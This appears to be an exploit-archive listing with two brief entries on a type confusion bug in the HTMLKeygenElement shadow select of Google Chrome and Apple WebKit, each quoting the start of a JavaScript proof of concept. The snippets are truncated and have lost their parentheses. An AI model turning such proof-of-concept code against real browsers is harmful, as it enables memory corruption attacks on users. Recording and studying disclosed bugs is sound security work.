Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion

Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect Chrome bug: https://bugs.chromium.org/p/chromium/issues/detail?id=666246 PoC: var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo";...

Apple WebKit - HTMLKeygenElement Type Confusion

Apple WebKit - HTMLKeygenElement Type Confusion var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true;...